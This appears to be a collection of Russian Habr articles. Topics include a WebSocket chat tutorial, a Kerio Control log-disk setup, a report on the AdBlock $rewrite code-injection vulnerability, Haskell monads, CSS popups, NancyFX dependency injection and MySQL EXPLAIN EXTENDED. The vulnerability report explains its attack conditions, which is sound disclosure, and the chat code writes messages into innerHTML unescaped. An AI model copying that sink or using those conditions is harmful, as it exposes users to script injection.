socket = new WebSocket("ws://localhost/SimpleChatApplication/ChatHandler.ashx");
} else {
socket = new MozWebSocket("ws://localhost/SimpleChatApplication/ChatHandler.ashx");
}
socket.onmessage = function (msg) {
var $el = document.createElement('p');
$el.innerHTML = msg.data;
$messages.appendChild($el);
};
socket.onclose = function (event) {
alert('Мы потеряли её. Пожалуйста, обновите страницу');
};
document.getElementById('send').onclick = function () {
socket.send($user.value + ' : ' + $txt.value);
$txt.value = '';
};
```
Теперь мы можем запустить наш чат, но вот только свойство context.IsWebSocketRequest будет всегда false.
Это происходит из-за того, что Visual Studio по умолчанию для отладки использует IIS Express, который не поддерживает Web Socket. Для того, чтобы наконец поиграться с сокетами нам необходимо установить IIS и настроить Visual Studio для работы с ним по умолчанию.
Для этого выполним несколько шагов:
Шаг 1. Устанавливаем IIS.
Для этого перейдём в Панель управления -> Программы -> Включение и отключение компонентов Windows
Там найдём службы IIS и поставим на них галку

Шаг 2. Настраиваем IIS.
По умолчанию компонент Web Socket в IIS отключён. Чтобы его включить в компонентах Windows пройдём по пути Службы IIS -> Службы Интернета -> Компоненты разработки приложений. Там найдём Протокол WebSocket и поставим на нём галку

Шаг 3. Настраиваем Visual Studio.
Чтобы заставить VS использовать IIS для отладки, нам необходимо зайти в свойства проекта -> Веб и там отжать галку Использовать IIS Express. (Если галка у вас не активна, перезапустите студию)

#### Завершение
Теперь мы можем смело запустить наш проект и поприветствовать самого себя!

Скачать файл проекта можно [здесь](https://dl.dropbox.com/u/13165381/SimpleChatApplication.zip). | https://habr.com/ru/post/145077/ | null | ru | null |
# Отдельный LOG диск для Kerio Control
Казалось чего проще вынести логи на отдельный диск, но нет, есть свои подковырки.

Предыстория
-----------
Помню, был прекрасный зимний вечер, как вдруг выяснилось, что с Kerio Control беда.
Kerio Control не мог записать изменения в конфигурацию и вообще происходила какая-то бесовщина!
Диагноз был быстрый и точный — кончилось место на системном диске Kerio Control.
Причина, большой старый лог.
Вариантов решения было несколько:
* Почистить логи
* Увеличить место на системном диске
* Добавить дополнительный диск для логов
Последний казался самым логичным.
Действительно мы не ищем легких путей, а пытаемся выполнить работу на совесть, да так чтобы такое больше не повторялось и ничто не могло-бы испортить очередной прекрасный вечер.
Искушённый читатель статьи, сразу скажет — но позвольте Kerio сам умеет вычищать логи и хранить журналы в четко заданных временных рамках.
Да умеет, но лог вылез по обьему из временного промежутка заданного на сервере. Как быть при такой ситуации?
Решение
-------
Kerio Control Virtual Appliance – это виртуальная машина которая живет на одном диске, решение казалось очень простым:
* Добавь дополнительный виртуальный диск в гипервизоре
* Сделать разметку ext4 или ext3
* Добавить монтирование нового диска в fstab
* Найди конфигурационный файл Kerio и указать новый путь для логов.
НО НЕТ!
Начиная с пункта “Добавить монтирование нового диска в fstab” – что-то пошло не так.
Как выяснилось, Kerio плевать хотел на fstab.
Диск прекрасно монтировался в ручную, но вот автоматический после запуска чего-то не хотел.
После долгих шатаний по файловым директориям в поисках неизвестно чего, мое внимание привлек файл **05basefs**, а именно мне очень понравились следующие надписи – **base** и **fs**, а вот **05** совсем не заинтересовало. Изучив его содержимое я понял что файловая система монтируется именно тут.
Далее все казалось простым, с давних пор существует файл **winroute.CFG**, все настройки хранятся там, там же можно указать и путь к директории с логами.
Но как выяснилось, я и тут ошибался, Kerio обращает внимание на новые пути в конфигурационном файле, но что-то работает не так, лог после изменения путей валит ошибки либо вообще ни отображает ничего.
Ну и ладно смонтируем новый диск по текущему размещению лога!
Реализация
----------
После всего выше сказанного реализация очень проста.
Для начала нам нужно подключится к терминалу Kerio Control, проще всего это сделать, используя SSH.
Временно включаем доступ SSH.
Для этого необходимо залогинится в админке и перейти в раздел “Состояние системы” удерживая зажатую кнопку Shift.

Если вы все сделали правильно, внизу рядом с кнопкой перезагрузки сервера появится кнопка активации SSH:

Временно активируем SSH (не забудьте отключить его после настройки!)
После включения SSH можно подключится к серверу используя SSH клиент.
Лучше использовать клиент который сразу умеет копировать файлы на сервер, позже объясню почему.
Итак, что мы сейчас имеем:
* Мы создали и подключили новый диск к серверу
* Разметили его в ext4 или ext3
* Активировали SSH и подключились к серверу
Далее нам нужно исправить файл **05basefs** который находится по следующему пути *.\etc\boxrc.d\05basefs*.
Но перед тем как его править нужно, сделать еще две вещи.
***Первое*** — узнать dev нового диска для логов
Для того чтобы узнать имя диска выполним **lsblk** и получим что-то вроде

где:
* SDA – системный диск
* sda1 – загрузчик
* sda2 и sda3 – текущая и по всей видимости предыдущая версия Kerio
* sda4 – Var здесь конфигурация и логи по умолчанию
* SDB – наш новый диск
В том случае, если нам необходимо сохранить текущие логи, нужно временно примонтировать диск sdb в любую пустую директорию и перенести содержимое /var/winroute/logs на примонтированный sdb.
После переноса отмантируем sdb.
***Второе*** — разрешить файловой системе изменение системных файлов
Kerio монтирует системный диск где располагается 05basefs с правами – только на чтение.
чтобы посмотреть, что куда и как премотированно выполняем **mount**

Можно увидеть что /dev/sda2 находится в состоянии **RO**, а и именно там находится текущая версия Kerio и там-же находится 05basefs
Временно разрешим запись в /dev/sda2 командой **mount -o rw,remount /dev/sda2**
Теперь, можно исправить файл 05basefs, лично я предпочитаю копировать уже исправленный файл это удобно, так как сделав это один раз придётся повторять процедуру подмены файла каждый раз после обновления версии Kerio, так как с новой версией восстанавливается оригинальный 05basefs.
Также для изменения файла можно воспользоваться редактором vi — он есть в системе.
Изменяем 05basefs следующим образом
```
#!/bin/sh
# $Revision: 1.13 $
case "$1" in
start)
grep -q /tmp /proc/mounts || mount -t tmpfs tmp /tmp
mkdir -p /tmp/run
root=$(grep " / " /proc/mounts | grep -v rootfs | sed 's/ .*//')
DATA=${root%[23]}4
BOOT=${root%[23]}1
modprobe ext3
mount -o ro -t ext3 $BOOT /boot
if [ ! -z "$DATA" ] && ! mount -o data=ordered $DATA /var 2>/dev/null; then
echo "Creating new data partition..."
#mkfs.nilfs2 -b 1024 $DATA
mkfs.ext3 -b 4096 -q $DATA 2>&1
tune2fs -c 0 -i 0 -r 0 -E stride=512,stripe-width=512 $DATA
fsck -p $DATA
mount -o data=ordered $DATA /var
[ -d /var.default ] && cp -a /var.default/* /var
elif [ -f "/var.default/update.list" ]; then
for i in `cat /var.default/update.list`; do
[ -e "/var.default/$i" -o -h "/var.default/$i" ] || continue
! [ -e "/var/$i" -o -h "/var/$i" ] || continue
mkdir -p $(dirname "/var/$i")
cp -a "/var.default/$i" "/var/$i"
done
fi
mount -t ext4 /dev/sdb /var/winroute/logs
exit 0
;;
stop)
echo "Umounting data partition..."
for i in $(seq 1 10); do
if fuser -sm /var; then
sleep 1
else
break
fi
done
fuser -kms /var/winroute/logs
umount /var/winroute/logs
fuser -kms /var
umount /var
;;
*)
echo "Usage: $0 {start|stop}"
exit 1
;;
esac
```
***Пояснения изменений в файле***
**mount -t ext4 /dev/sdb /var/winroute/logs**
монтирует sdb по оригинальному пути логов /var/winroute/logs
**fuser -kms /var/winroute/logs
umount /var/winroute/logs**
Размонтирует sdb для корректного выключения сервера.
Теперь вернем sda2 в исходное состояние командой **mount -o rо,remount /dev/sda2**
После перезагрузки сервера, Kerio будет записывать логи на наш выделенный диск SDB.
Костыль
-------
(ведь без костыля нельзя)
Как я уже ранее изложил, в том случае, если версия Kerio будет обновлена, файл 05basefs вернется в оригинальное состояние, Kerio вновь начнет записывать логи в sda4. По пути /var/winroute/logs.
Для того чтобы Kerio продолжал записывать лог на SDB необходимо повторить процедуру подмены файла. | https://habr.com/ru/post/518352/ | null | ru | null |
# Уязвимость в фильтрах AdBlock и uBlock позволяет выполнять произвольный код на стороне пользователя
При соблюдении ряда условий, опция фильтра `$rewrite`, внедренная в AdBlock, AdBlock Plus и uBlock [с обновлением 3.2 от 17 июля 2018 года](https://adblockplus.org/releases/adblock-plus-32-for-chrome-firefox-and-opera-released), позволяет выполнять произвольный код на отображаемой пользователю веб-странице, [сообщается в блоге armin.dev](https://armin.dev/blog/2019/04/adblock-plus-code-injection/).
Вот как описывается проблемная функция в самом патчноуте AdBlock:
> В этом патче реализована новая опция фильтра `$rewrite`, которая позволяет авторам списков фильтров предотвращать показ (в основном это касается видео) рекламных объявлений, которые ранее не могли быть заблокированы на ряде веб-сайтов.
Описываемая уязвимость затрагивает все три упомянутых блокировщика рекламы, суммарная аудитория которых превышает 100 млн пользователей. Использовать ее можно для атаки на любой веб-сервис, включая и не ограничиваясь, например, любым из ресурсов Google. Проблема носит повсеместный характер, то есть атака с одинаковой успешностью может быть проведена на любом популярном браузере и не зависит от его версии.
**Уязвимость просуществовала почти 9 месяцев и была найдена только сейчас.**
### Суть атаки
Автор блогозаписи-первоисточника поясняет, что опция `$rewrite` используется в AdBlock и других упомянутых блокировщиках для избежания отслеживания пользователя и блокирования рекламы путем перенаправления запросов от посещаемой веб-страницы. Так, `$rewrite` позволяет перенаправлять и не обрабатывать запросы типа `SCRIPT`, `SUBDOCUMENT`, `OBJECT` и `OBJECT_SUBREQUEST`.
Атака может состояться в том случае, если веб-сайт использует `XMLHttpRequest` или `Fetch` для загрузки и исполнения фрагментов (сниппетов) кода, одновременно позволяя совершать произвольные запросы.
То есть, для совершения атаки должно соблюдаться три условия:
1. Веб-страница должна загрузить строку JS с использованием `XMLHttpRequest` или `Fetch` и выполнить возвращенный код.
2. Веб-страница не должна использовать директивы проверки [Content Security Policy](https://developer.mozilla.org/ru/docs/Web/HTTP/CSP) и не должна проверять окончательный URL-адрес перед выполнением загруженного кода.
3. Источник извлеченного кода должен поддерживать редирект на стороне сервера или должен содержать произвольный пользовательский контент.
Казалось бы, условий достаточно много, да и CSP — далеко не новинка в мире веб-разработки. Однако основная угроза найденной уязвимости не в том, как она работает, а в том, как распространяется.
Так как уязвимости подвержена система фильтров AdBlock, AdBlock Plus и uBlock, то путь «заражения» конечной жертвы крайне прост — через систему автообновления фильтров. Не секрет, что огромная часть пользователей пользуется готовыми фильтрами, а не настраивает их самостоятельно. При этом автор пакета фильтров может выкатить вредоносное обновление, провести атаку, а потом «перекатить» пакет, тем самым «заметая следы».
### Способы борьбы
Наиболее простой способ обезопасить себя от упомянутой уязвимости — перейти на uBlock Origin. Этот блокировщик рекламы не поддерживает функцию `$rewrite`, то есть реализовать через него описанную атаку невозможно.
В противном случае на свой страх и риск стоит ждать следующего обновления AdBlock. В официальном блоге блокировщика буквально через несколько часов после публикации в блоге armin.dev появилась [эта запись](https://adblockplus.org/blog/potential-vulnerability-through-the-url-rewrite-filter-option) с реакцией на уязвимость `$rewrite`.
В ней администрация AdBlock уверяет, что хоть уязвимость и специфическая, они крайне внимательно относятся к безопасности своей аудитории и [уже в следующем обновлении](https://github.com/adblockplus/adblockpluscore/blob/247943b2fa3464521bfee90edcbba5e64d29434e/lib/filterClasses.js#L1076) **функция `$rewrite` будет выпилена** из AdBlock.
Также, по заверениям администрации, они проверяют все списки фильтров и перепроверили их сейчас. По результатам проведенной проверки администрация рапортует, что ни один из существующих списков фильтров описанный метод атаки на пользователя в себе не содержал. С учетом того, что между моментом публикации исходной записи и ответа в блоге AdBlock прошло всего около четырех часов, только порадуемся оперативности команды блокировщика.
При этом удаление функции `$rewrite` из проекта — шаг назад для AbBlock, так как изначально она создавалась для борьбы с всплывающей видеорекламой. Теперь она вернется ради всеобщей безопасности. Кроме этого, оперативность, с которой было принято решение полностью удалить `$rewrite` из проекта показывает, что хоть атака и специфична, но уж слишком жутко выглядят последствия ее массового проведения. | https://habr.com/ru/post/448302/ | null | ru | null |
# Тройка полезных монад
Внимание: перед тем как читать текст ниже, вы уже должны иметь представление о том, что такое монады. Если это не так, то прежде прочитайте [вот этот пост](http://habrahabr.ru/post/183150/)!
Перед нами функция `half`:

И мы можем применить её несколько раз:
```
half . half $ 8
=> 2
```
Всё работает как и ожидалось. Но вот вы решили, что хорошо бы иметь лог того, что происходит с этой функцией:

```
half x = (x `div` 2, "Я только что располовинил " ++ (show x) ++ "!")
```
Что ж, отлично. Но что будет если вы теперь захотите применить `half` несколько раз?
```
half . half $ 8
```
Вот то, что мы *хотели бы*, чтобы происходило:

**Спойлер**: автоматически так не сделается. Придётся всё расписывать ручками:
```
finalValue = (val2, log1 ++ log2)
where (val1, log1) = half 8
(val2, log2) = half val1
```
Фу! Это ни капли не похоже на лаконичное
```
half . half $ 8
```
А что, если у вас есть ещё функции, имеющие лог? Напрашивается такая схема: для каждой функции, возвращающей вместе со значением лог, мы бы хотели объединять эти логи. Это побочный эффект, а никто не силён в побочных эффектах так, как монады!
#### Монада Writer

*Появляется монада Writer на ~~белом~~ коне*
Монада Writer — крутая личность. «Не парься, чувак, я обработаю твои логи,» — говорит она. — «Возвращайся к своему чистому коду и выжми максимум под что-нибудь из Zeppelin!»
У каждого экземпляра Writer есть лог и возвращаемое значение:

```
data Writer w a = Writer { runWriter :: (a, w) }
```
Writer позволяет нам писать код наподобие
```
half 8 >>= half
```
Ну, или вы можете использовать `<=<` функцию, которая суть композиция функций для монад, чтобы получить:
```
half <=< half $ 8
```
что чертовски близко к `half . half $ 8`. Круто!
Вы можете использовать `tell`, чтобы записать что-то в лог. А `return` передаст это значение в Writer. Вот наша обновлённая функция `half`:
```
half :: Int -> Writer String Int
half x = do
tell ("I just halved " ++ (show x) ++ "!")
return (x `div` 2)
```
Она возвращает `Writer`:

И мы можем использовать `runWriter`, чтобы извлечь из него значение:

```
runWriter $ half 8
=> (4, "I just halved 8!")
```
Но самый клёвый момент, это то, что теперь мы можем связать вызовы `half` в цепочку, используя `>>=`:
```
runWriter $ half 8 >>= half
=> (2, "I just halved 8!I just halved 4!")
```
Вот что происходит:

Магическим образом `>>=` знает, как объединить два Writer'а, так что нам нет нужды писать самостоятельно какой бы то ни было нудный код! Вот полное определение `>>=`:

Точно такой же шаблонный код мы ранее писали сами, а теперь эту обязанность взяла на себя `>>=`. Клёво! Мы так же используем функцию `return`, которая принимает значение и помещает его в монаду:

```
return val = Writer (val, "")
```
(**Замечание**: это определение *почти* верное. На самом деле монада `Writer` позволяет нам использовать любой `Monoid` в качестве лога, а не одни только строки. Я тут упростил слегка.)
Спасибо тебе, монада Writer!
#### Монада Reader
Допустим, вы хотите передать какие-то настройки в множество функций. Просто используйте монаду Reader:

Она позволит вам передать ваше значение всем функциям, скрыв сам механизм передачи за кулисами. Например:
```
greeter :: Reader String String
greeter = do
name <- ask
return ("hello, " ++ name ++ "!")
```
`greeter` возвращает монаду Reader:

Вот её определение:
```
data Reader r a = Reader { runReader :: r -> a }
```
Reader всегда был перебежчиком. Тёмной лошадкой. Reader другой, потому что он позволяет нам обрабатывать функцию, что смущает при его рассмотрении. Но мы с вами понимаем, что можем использовать `runReader`, чтобы извлечь эту функцию:

И можем передать этой функции некое состояние, которое потом используется в `greeter`:

```
runReader greeter $ "adit"
=> "hello, adit!"
```
таким образом, когда вы используете `>>=`, назад вы должны получить Reader. Когда вы передадите в него состояние, то оно будет передано всем функциям, содержащимся в этой монаде.

```
m >>= k = Reader $ \r -> runReader (k (runReader m r)) r
```
Reader всегда был несколько комплексным. Это вообще его лучшее качество.
`return` помещает значение в `Reader`:

```
return a = Reader $ \_ -> a
```
И, наконец, `ask` возвращает вам обратно состояние, которое вы передали:
```
ask = Reader $ \x -> x
```
Хотите провести с Reader'ом больше времени? Врубите панк-рок и взгляните на [более длинный пример](https://gist.github.com/egonSchiele/5752172).
#### Монада State
Монада State — это более впечатлительный лучший друг монады Reader:

Она в точности тоже самое, что и монада Reader, но с её помощью вы можете не только читать, но и писать!
Вот определение `State`:
```
State s a = State { runState :: s -> (a, s) }
```

Вы можете получить состояние с помощью `get` или изменить его с помощью `put`. Вот пример:
```
greeter :: State String String
greeter = do
name <- get
put "tintin"
return ("hello, " ++ name ++ "!")
runState greeter $ "adit"
=> ("hello, adit!", "tintin")
```
Мило! Если Reader был с характером«тебе-меня-не-изменить», то State наоборот стремится к отношениям и сама готова меняться.
Определение `State` монады выглядит очень похоже на определение монады `Reader`:
`return`:

```
return a = State $ \s -> (a, s)
```
`>>=`:

```
m >>= k = State $ \s -> let (a, s') = runState m s
in runState (k a) s'
```
#### Заключение

Writer. Reader. State. Сегодня вы добавили три мощных оружия в свой Haskell-арсенал. Используйте их с умом.
*От переводчика: я буду бесконечно признательна за любые замечания в личку, которые помогут улучшить качество этого перевода.* | https://habr.com/ru/post/184722/ | null | ru | null |
# Способы создания окон PopUp
#### Введение
В данном уроке я не открою тайну для матерых верстальщиков и гуру css, но данная статья будет полезна начинающим. именно здесь вы сможете узнать, как создавать всплывающие окна поверх всего сайта.
Чаще всего такие окна появляются после совершения определенных действий на сайте, например, пользователь нажимает на ссылку «Заказать обратный звонок» и перед ним всплывает форма заказа.
Очень удобно использовать PopUp окна в связке с ajax, но это уже тема другого урока.
Всё больше и больше в сети начинает появляться веб-ресурсов, которые используют всплывающие окна PopUp. В пример можно привести всем знакомые социальные сети. ~~Все лишние данные со скриншотов удалены.~~
###### Вконтакте

###### Facebook

###### Twitter

Думаю достаточно доводов, чтобы начать изучать вопрос: как же сделать на своем сайте всплывающее окно PopUp.
#### Постановка задачи(ТЗ)
Необходимо создать поверх всего сайта всплывающее окно с затемнением экрана.
#### Решение
##### Способ 1
###### html
```
Sample Text
Text in Popup
```
###### css
```
*{
font-family: Areal;
}
.b-container{
width:200px;
height:150px;
background-color: #ccc;
margin:0px auto;
padding:10px;
font-size:30px;
color: #fff;
}
.b-popup{
width:100%;
height: 2000px;
background-color: rgba(0,0,0,0.5);
overflow:hidden;
position:fixed;
top:0px;
}
.b-popup .b-popup-content{
margin:40px auto 0px auto;
width:100px;
height: 40px;
padding:10px;
background-color: #c5c5c5;
border-radius:5px;
box-shadow: 0px 0px 10px #000;
}
```
###### Результат:

Очень часто предлагают использовать:
```
position:absolute;
```
Да, результат получается аналогичный, но из-за того, что у нас задана высота блока «затемнения», появляются полосы прокрутки. Именно поэтому такой метод не подходит.
##### Способ 2
Этот способ не отличается кардинально от Способа 1, но я считаю его более удобным.
###### Html (без изменений)
```
Sample Text
Text in Popup
```
###### Css
```
*{
font-family: Areal;
}
.b-container{
width:200px;
height:150px;
background-color: #ccc;
margin:0px auto;
padding:10px;
font-size:30px;
color: #fff;
}
.b-popup{
width:100%;
min-height:100%;
background-color: rgba(0,0,0,0.5);
overflow:hidden;
position:fixed;
top:0px;
}
.b-popup .b-popup-content{
margin:40px auto 0px auto;
width:100px;
height: 40px;
padding:10px;
background-color: #c5c5c5;
border-radius:5px;
box-shadow: 0px 0px 10px #000;
}
```
##### Результат аналогичный
Благодаря свойству: **min-height:100%;** наш блок «затемнение» обрел ширину в 100% и минимальную высоту в 100% экрана.
Единственным минусом данного способа является то, что Internet Explorer поддерживает данное свойство только с версии 8.0.
#### Добавление магии на Jquery
Теперь добавим ссылки для скрытия/отображение нашего всплывающего окна.
Для этого необходимо подключить библиотеку JQuery и небольшой скрипт:
```
$(document).ready(function(){
//Скрыть PopUp при загрузке страницы
PopUpHide();
});
//Функция отображения PopUp
function PopUpShow(){
$("#popup1").show();
}
//Функция скрытия PopUp
function PopUpHide(){
$("#popup1").hide();
}
```
Также необходимо обновить Html:
```
Sample Text
[Show popup](javascript:PopUpShow())
Text in Popup
[Hide popup](javascript:PopUpHide())
```
##### Результат
Теперь при загрузке страницы всплывающее окно PopUp скроется.
Если мы нажмем на ссылку «Show popup», у нас появится всплывающее окно. А если нажать на ссылку «Hide popup», то всплывающее окно вновь скроется.
Результат можно посмотреть тут: <http://jsfiddle.net/p7NbX/15/> | https://habr.com/ru/post/417873/ | null | ru | null |
# Создаем первое приложение на NancyFX. Часть вторая. Bootstrapper
В прошлой статье [«Создаем первое приложение на NancyFX»](http://habrahabr.ru/post/197298/) мы сделали первые шаги в изучении фреймворка NancyFX. В данной статье мы познакомимся со встроенными в Nancy по умолчанию TinyIoC и Nancy Bootstrapper.
Прямо из коробки с Nancy поставляется свой DI. Как уже говорилось ранее это TinyIoC. Если по каким то причинам данный DI не устраивает вас то вы можете установить один из следующих DI:
* Ninject
* Autofac
* StructureMap
* Windsor
* Mef
* Nancy bootstrapper for speedy mailer
* Nancy Mono bootstrapper for speedy mailer
Для того чтобы загрузить один из вышеперечисленных DIев вам всего лишь на всего требуется вызвать менеджер пакетов Nuget и набрать в строке поиска nancy.bootstrappers.

Однако вернемся к использованию пакета из коробки. В прошлой статье мы создали тестовый проект. Давайте воспользуемся им и добавим в него интерфейс IUserStorage.cs, который будет реализовываться нашим фейковым хранилищем.
```
using System.Collections.Generic;
namespace NancyFxApplication
{
public interface IUserStorage
{
IList GetAllUsers();
}
}
```
Далее собственно создаем наше фейковое хранилище Storage.cs которое будет реализовывать созданный нами интерфейс.
```
using System.Collections.Generic;
namespace NancyFxApplication
{
public class Storage : IUserStorage
{
public IList GetAllUsers()
{
return new List
{
new {Name = "Homer", Age = 30},
new {Name = "Bart", Age = 12},
new {Name = "Marge", Age = 30},
new {Name = "Lisa", Age = 10}
};
}
}
}
```
Добавим модуль Nancy с следующим кодом.
```
using Nancy;
namespace NancyFxApplication
{
public class UsersModule : NancyModule
{
public UsersModule(IUserStorage storage) : base("/users")
{
Get["/GetAll"] = param => (Response.AsJson(storage.GetAllUsers()));
}
}
}
```
После билда, запускаем наше приложение и получаем следующий результат:

Как мы можем заметить Nancy.Bootstrapper автоматически нашел и подставил в наш модуль первую найденную в приложение реализацию интерфейса IUserStorage без всяких усилий с нашей стороны. Однако некоторые заметят, что если в приложении будет еще одна реализация интерфейса IUserStorage то это поставит нас в некоторую неловкую ситуацию в которой мы не будем знать какую именно реализацию интерфейса вызовет Nancy(на самом деле Nancy вызовет первый по алфавиту класс из приложения реализующий запрашиваемый интерфейс, но от этого нам не становится легче). Если у нас в приложении существуют две и более реализации интерфейса нашего хранилища то нам на помощь прийдет TinyIoC.
Давайте добавим в наш проект следующий класс. SouthParkUsers.cs
```
using System.Collections.Generic;
namespace NancyFxApplication
{
public class SouthParkUsers : IUserStorage
{
public IList GetAllUsers()
{
return new List
{
new {Name = "Eric", SecondName = "Cartman", Age = 9},
new {Name = "Kenny", SecondName = "McCormick", Age = 9},
new {Name = "Kyle", SecondName = "Broflovski", Age = 9},
new {Name = "Stan", SecondName = "Marsh", Age = 9},
new {Name = "Butters", SecondName = "Stotch", Age = 9}
};
}
}
}
```
Теперь добавим класс MyBootstrapper.cs.
```
using Nancy;
namespace NancyFxApplication
{
public class MyBootstrapper : DefaultNancyBootstrapper
{
protected override void ApplicationStartup(Nancy.TinyIoc.TinyIoCContainer container, Nancy.Bootstrapper.IPipelines pipelines)
{
base.ApplicationStartup(container, pipelines);
container.Register();
}
}
}
```
И теперь запустим приложение. Результат будет следующим:

Как видите мы подменили класс реализующий IUserStorage не прибегая к загрузке сторонних пакетов, а оперируя в рамках NancyFX. Как вы смогли убедиться, при использовании NancyFX достаточно легко использовать внедрение зависимости. Более детальную информацию и более расширенные примеры вы сможете найти на [TinyIoC wiki](https://bitbucket.org/grumpydev/tinyioc/wiki/Home), а также на [Nancy Bootstrapper wiki](https://github.com/NancyFx/Nancy/wiki/Bootstrapper).
В заключении хотелось бы сделать анонс следующей статьи по Nancy. В ней мы более детально рассмотрим модули Nancy. Спасибо за внимание. Буду рад отзывам на статью и комментариям. | https://habr.com/ru/post/198186/ | null | ru | null |
# Что интересного нам расскажет EXPLAIN EXTENDED?
Большинство разработчиков на MySQL знакомы с командой EXPLAIN, однако значительно меньше людей знают о команде EXPLAIN EXTENDED, появившуюся ещё в MySQL 4.1, и ещё меньше умеют ею пользоваться.
EXPLAIN EXTENDED умеет показывать, что же конкретно делает с Вашим запросом оптимизатор MySQL. Для разработчика может быть совсем не очевидно, насколько сильно может отличаться написанный им запрос от того, который в действительности будет выполнен сервером. Этот процесс называется механизмом перезаписи запросов (query-rewrite), и он является частью любого хорошего SQL-оптимизатора. Команда EXPLAIN EXTENDED добавляет дополнительные предупреждения (warnings) к выводу команды EXPLAIN, в том числе и переписанный SQL-запрос.
Для начала давайте создадим три пустых таблицы. Сейчас нам важно, чтобы таблицы были именно пустыми, т.к. оптимизатор MySQL по особенному работает с пустыми таблицами (а иногда и с таблицами, содержащими только одну строку), чем с таблицами, содержащими более одной строки.
`mysql> CREATE TABLE j1 (c1 int);
Query OK, 0 rows affected (0.16 sec)
CREATE TABLE j2 (c1 int);
Query OK, 0 rows affected (0.11 sec)
mysql> CREATE TABLE j3 (c1 int);
Query OK, 0 rows affected (0.10 sec)`
`mysql> EXPLAIN extended SELECT j1.c1 FROM j1, j2, j3 WHERE j1.c1 = j2.c1 AND j3.c1 = j1.c1;
+----+-------------+-------+------+---------------+------+---------+------+------+-----------------------------------------------------+
| id | select_type | TABLE | type | possible_keys | KEY | key_len | ref | rows | Extra
+----+-------------+-------+------+---------------+------+---------+------+------+-----------------------------------------------------+
| 1 | SIMPLE | NULL | NULL | NULL | NULL | NULL | NULL | NULL | Impossible WHERE noticed after reading const TABLES
+----+-------------+-------+------+---------------+------+---------+------+------+-----------------------------------------------------+
1 row IN SET, 1 warning (0.04 sec)
mysql> SHOW warnings;
+-------+------+-------------------------------------------------------------------------------+
| Level | Code | Message
+-------+------+-------------------------------------------------------------------------------+
| Note | 1003 | SELECT '0' AS `c1` FROM `test`.`j1` JOIN `test`.`j2` JOIN `test`.`j3` WHERE 0
+-------+------+-------------------------------------------------------------------------------+
1 row IN SET (0.00 sec)`
Здесь Вы можете заметить несколько странных вещей в выводе команды EXPLAIN. Первое — в нём не перечислено ни одной таблицы. Взглянув на колонку Extra можно увидеть, что MySQL упомянул там слово 'const'. Таблицы 'const' — это как раз те таблицы, что содержат 0 или 1 строку, или таблицы, все части PRIMARY- или UNIQUE-ключей которых полностью удовлетворяют параметрам в WHERE. Если таблица типа 'const' не содержит строк и не используется в OUTER JOIN, то MySQL сразу же вернёт пустой результат, т.к. не может существовать ни одного пересечения таблиц, удовлетворяющего запросу. MySQL добивается этого добавляет вместо параметров WHERE — WHERE 0.
Давайте посмотрим, что будет, если в каждую из таблиц добавить по единице (1):
`mysql> INSERT INTO j1 VALUES (1); INSERT INTO j2 SELECT * FROM j1; INSERT INTO j3 SELECT * FROM j2;
Query OK, 1 row affected (0.00 sec)
mysql> EXPLAIN extended SELECT j1.c1 FROM j1, j2, j3 WHERE j1.c1 = j2.c1 AND j3.c1 = j1.c1;
+----+-------------+-------+--------+---------------+------+---------+------+------+-------+
| id | select_type | TABLE | type | possible_keys | KEY | key_len | ref | rows | Extra
+----+-------------+-------+--------+---------------+------+---------+------+------+-------+
| 1 | SIMPLE | j1 | system | NULL | NULL | NULL | NULL | 1 |
| 1 | SIMPLE | j2 | system | NULL | NULL | NULL | NULL | 1 |
| 1 | SIMPLE | j3 | system | NULL | NULL | NULL | NULL | 1 |
+----+-------------+-------+--------+---------------+------+---------+------+------+-------+
3 rows IN SET, 1 warning (0.00 sec)
mysql> SHOW warnings;
+-------+------+-------------------------------------------------------------------------------+
| Level | Code | Message
+-------+------+-------------------------------------------------------------------------------+
| Note | 1003 | SELECT '1' AS `c1` FROM `test`.`j1` JOIN `test`.`j2` JOIN `test`.`j3` WHERE 1
+-------+------+-------------------------------------------------------------------------------+
1 row IN SET (0.00 sec)`
Как можно заметить, теперь таблицы появились в результатах выполнения EXPLAIN, однако обратите Ваше внимание на то, что тип таблицы указан как 'system'. Таблица этого типа являются разновидностью таблиц типа 'const', содержащей только одну строку. Содержимое этой таблицы считывается полностью до начала выполнения запроса, благодаря чему MySQL может сравнить значения из таблицы с заданными параметрами как константы ещё до формирования плана исполнения. К тому же MySQL заменил все параметры в WHERE на WHERE 1, т.к. он знает, что все используемые в запросе таблицы содержат одинаковые значения. Если бы это было не так, то он, как и в предыдущем случае, добавил бы WHERE 0.
Наконец, давайте добавил ещё немного данных в таблицы и протестируем запрос:
`mysql> INSERT INTO j1 VALUES (1); INSERT INTO j2 SELECT * FROM j1; INSERT INTO j3 SELECT * FROM j2;
mysql> EXPLAIN extended SELECT j1.c1 FROM j1, j2, j3 WHERE j1.c1 = j2.c1 AND j3.c1 = j1.c1;
+----+-------------+-------+------+---------------+------+---------+------+------+-------------+
| id | select_type | TABLE | type | possible_keys | KEY | key_len | ref | rows | Extra
+----+-------------+-------+------+---------------+------+---------+------+------+-------------+
| 1 | SIMPLE | j1 | ALL | NULL | NULL | NULL | NULL | 2 |
| 1 | SIMPLE | j2 | ALL | NULL | NULL | NULL | NULL | 3 | USING WHERE
| 1 | SIMPLE | j3 | ALL | NULL | NULL | NULL | NULL | 4 | USING WHERE
+----+-------------+-------+------+---------------+------+---------+------+------+-------------+
3 rows IN SET, 1 warning (0.00 sec)
mysql> SHOW warnings;
+-------+------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| Level | Code | Message
+-------+------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| Note | 1003 | SELECT `test`.`j1`.`c1` AS `c1` FROM `test`.`j1` JOIN `test`.`j2` JOIN `test`.`j3` WHERE ((`test`.`j2`.`c1` = `test`.`j1`.`c1`) AND (`test`.`j3`.`c1` = `test`.`j1`.`c1`))
+-------+------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row IN SET (0.00 sec)`
В колонке type Вы теперь можете видеть значение ALL, что означает, что MySQL читает таблицу целиком. Это происходит потому, что в таблицах нет индексов.
Есть ещё кое-что интересное, на что стоило бы обратить внимание и раньше: Вы, наверное, уже заметили, что все перечисленные через запятую таблицы автоматически объединяются оптимизатором MySQL JOIN'ами. Таким образом споры о том, что работает быстрее и оптимальнее — перечисление таблиц через запятую или JOIN, — становятся бессмысленными, т.к. это по сути одно и то же.
И последнее. Давайте посмотрим, что EXPLAIN EXTENDED может нам рассказать о поведении оптимизатора MySQL при использовании view, который использует алгоритм MERGE:
`mysql> CREATE VIEW v1 AS SELECT * FROM j1;
